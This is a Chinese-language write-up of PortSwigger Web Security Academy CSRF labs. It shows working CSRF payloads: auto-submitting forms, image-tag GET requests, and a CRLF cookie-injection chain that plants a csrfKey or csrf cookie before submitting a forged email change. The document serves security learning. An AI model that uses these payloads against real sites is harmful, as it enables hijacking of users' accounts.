Burp Web Academy CSRF 跨站请求伪造

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的跨站请求伪造(CSRF,Cross-site request forgery)章节。

0x02. CSRF

2.1 Lab: CSRF vulnerability with no defenses

This lab’s email change functionality is vulnerable to CSRF.

To solve the lab, craft some HTML that uses a CSRF attack to change the viewer’s email address and upload it to your exploit server.

You can log in to your own account using the following credentials: wiener:peter

使用测试账号登录,尝试修改 E-mail,发现只是简单发了一个 POST 请求,没有类似 CSRF Token 之类的保护机制。

1
2
3
4
5
6
7
POST /my-account/change-email HTTP/2
Host: 0a120044041b586fb06d46f6004400bb.web-security-academy.net
Cookie: session=A6cFoqevGQw2WjKZYyX1ulcOIdVA4DY8
Content-Length: 28
Content-Type: application/x-www-form-urlencoded

email=test%40normal-user.net

尝试在 Exploit Server 构造如下页面发送 POST 请求:

1
2
3
4
<form action=https://0a120044041b586fb06d46f6004400bb.web-security-academy.net/my-account/change-email method=POST>
<input type="text" name="email" value="123@gmail.com" />
</form>
<script>document.forms[0].submit()</script>

注意,Hint 提示一个 E-mail 只能绑定给一个用户,而且测试的域名用来做邮箱好像不行。

2.2 Lab: CSRF where token validation depends on request method

This lab’s email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

POST 表单多了隐藏的 CSRF Token:

1
2
3
4
5
6
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required="" type="email" name="email" value="">
<input required="" type="hidden" name="csrf" value="mn8cn76GTJdnt1rApjW7sq29DLH4yRsL">
<button class="button" type="submit"> Update email </button>
</form>

根据提示,可能支持 GET 请求更新 E-mail 并且没有保护机制,测试确认确实如此。

1
GET /my-account/change-email?email=hello@test.com HTTP/2

直接在 Exploit Server 构造如下 HTML 代码:

1
<img src="https://0a35009e036a3fe281eadaf6000a00a1.web-security-academy.net/my-account/change-email?email=test@gmail.com">

2.3 Lab: CSRF where token validation depends on token being present

This lab’s email change functionality is vulnerable to CSRF.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

POST 表单存在隐藏的 CSRF Token,但如果提交时没有 csrf 字段也能成功,利用方式和第一个相同。

1
2
3
4
<form action=https://0a0d00a903fab13f80b2588700fd00ba.web-security-academy.net/my-account/change-email method=POST>
<input type="text" name="email" value="123@gmail.com" />
</form>
<script>document.forms[0].submit()</script>

2.4 Lab: CSRF where token is not tied to user session

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t integrated into the site’s session handling system.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

  • wiener:peter
  • carlos:montoya

测试发现,CSRF Token 和用户 Session 并没有绑定关系,也就是说,可以使用其他用户的合法 Token 来发起 CSRF 攻击。

1
2
3
4
5
<form action=https://0ac300cd04435066804aadda0071004a.web-security-academy.net/my-account/change-email method=POST>
<input type="text" name="csrf" value="cWxIi36INCmqju75TjUejn0mPv8gu5Vb" />
<input type="text" name="email" value="123@gmail.com" />
</form>
<script>document.forms[0].submit()</script>

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

  • wiener:peter
  • carlos:montoya

测试发现,CSRF Token 是和 Cookie 里面的 csrfKey 绑定的,即 csrfKey 决定了 CSRF Token 是什么。

1
Cookie: csrfKey=rlG9KHbQT5wln8M4Nuz1ZhOQFxDLjfnr; session=8RCz89erDttASpS8kWYHw5zuEkGHie37

但这里涉及到一个问题:如何设置受害者的 Cookie?使用搜索功能,发现关键字出现在了 Set-Cookie 中:

1
GET /?search=test HTTP/2
1
2
3
4
5
HTTP/2 200 OK
Set-Cookie: LastSearchTerm=test; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 4541

因此,可以尝试 Cookie 注入,尝试搜索 test; csrfKey=rlG9KHbQT5wln8M4Nuz1ZhOQFxDLjfnr,发现如下代码并不能修改 Cookie:

1
2
3
4
5
HTTP/2 200 OK
Set-Cookie: LastSearchTerm=test; csrfKey=rlG9KHbQT5wln8M4Nuz1ZhOQFxDLjfnr; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3452

查看关于 Set-Cookie 的说明,发现每次只能设置一个 Cookie 字段,如果要设置多个字段,需要多次调用才行:

The HTTP Set-Cookie response header is used to send a cookie from the server to the user agent, so that the user agent can send it back to the server later. To send multiple cookies, multiple Set-Cookie headers should be sent in the same response.

尝试新的注入 Payload(基于回车换行实现):可以成功修改 Cookie

1
GET /?search=test%0d%0aSet-Cookie%3A%20csrfKey%3DrlG9KHbQT5wln8M4Nuz1ZhOQFxDLjfnr%3B

利用代码:

1
2
3
4
5
<form action=https://0a2900e304c8544380424e1d00750061.web-security-academy.net/my-account/change-email method=POST>
<input type="hidden" name="csrf" value="aBg6x5G0In7WdYYGUYPMZ3ZK6soCiF7c">
<input type="email" name="email" value="111@gmail.com">
</form>
<img src="https://0a2900e304c8544380424e1d00750061.web-security-academy.net/?search=test%0d%0aSet-Cookie%3A%20csrfKey%3DrlG9KHbQT5wln8M4Nuz1ZhOQFxDLjfnr%3B" onerror="document.forms[0].submit()">

利用 <img> 实现触发 GET 请求,同时利用 onerror 回调实现触发 POST 请求。

This lab’s email change functionality is vulnerable to CSRF. It attempts to use the insecure “double submit” CSRF prevention technique.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

CSRF Token 在 Cookie 中保存了一份副本:

1
Cookie: csrf=rebnlY1JEQ1tZjuGmqdWMW8C8TRKDNuP; session=jDe5boZyJSRIYjJad0mwTgfe2yqAmZkF

前面搜索接口改写 Cookie 的漏洞还在:

1
2
3
4
5
HTTP/2 200 OK
Set-Cookie: LastSearchTerm=test; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3975

因此,可以将特定的 CSRF Token 写入 Cookie,然后提交 POST 表单来修改 E-mail 地址。

利用代码:

1
2
3
4
5
<form action=https://0a6c006003b0d45381bdd0400091006a.web-security-academy.net/my-account/change-email method=POST>
<input type="hidden" name="csrf" value="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
<input type="email" name="email" value="111@gmail.com">
</form>
<img src="https://0a6c006003b0d45381bdd0400091006a.web-security-academy.net/?search=test%0d%0aSet-Cookie%3A%20csrf%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%3B%20SameSite=None" onerror="document.forms[0].submit()">

如果不加 SameSite=None,则很难利用漏洞,具体后面解释。

Set-Cookie 语法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Set-Cookie: <cookie-name>=<cookie-value>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<number>
Set-Cookie: <cookie-name>=<cookie-value>; Partitioned
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure

Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None; Secure

// 可以同时有多个属性,例如:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

相关解释:

  • HttpOnly
    • 阻止 JavaScript 通过 document.cookie 属性访问 Cookie。注意,设置了 HttpOnly 的 Cookie 仍然会通过 JavaScript 发起的请求发送。
    • 用于抵抗 XSS 攻击。
  • Secure
    • 表示仅当请求通过 https 协议(localhost 不受此限制)发送时才会将该 Cookie 发送到服务器,因此其更能够抵抗中间人攻击。
  • SameSite
    • 控制 Cookie 是否随跨站请求一起发送,这样可以在一定程度上防范跨站请求伪造攻击(CSRF)
    • Strict
      • 这意味浏览器仅对同一站点的请求发送 Cookie,即请求来自设置 Cookie 的站点。如果请求来自不同的域名或协议(即使是相同域名),则携带有 SameSite=Strict 属性的 Cookie 不会被发送。
    • Lax
      • 这意味着 Cookie 不会在跨站请求中被发送,如:加载图像或框架(frame)的请求。但 Cookie 在用户从外部站点导航到源站时,Cookie 也会被发送(例如,访问一个链接)。这是 SameSite 属性未被设置时的默认行为。
    • None
      • 这意味着浏览器在跨站和同站请求中均会发送 Cookie。在设置这一属性值时,必须同时设置 Secure 属性,就像这样:SameSite=None; Secure

可以看出,未显示设置 SameSite=None 时,SameSite 属性默认为 Lax,导致跨站发送请求时 Cookie 不能正常发送。

0x04. 小结

  • 不同类型的 CSRF 触发方法,GET 简单,POST 要提交表单稍微复杂点
    • GET 可以使用 <img> 或者 <iframe> 之类的
    • 组合漏洞利用场景下,利用 <img src 触发 GET 请求,利用 <img onerror 触发 POST 请求
  • 对于同样的功能,可以尝试测试不同的 HTTP 请求方法
  • 校验不严格场景
    • 仅 CSRF Token 存在时才能起到防御效果
    • CSRF Token 未与用户 Session 绑定
    • CSRF Token 绑定的是非 Session Cookie
  • 了解 Cookie 的属性

0x05. 参考文档

  1. https://portswigger.net/web-security/all-labs#cross-site-request-forgery-csrf
  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie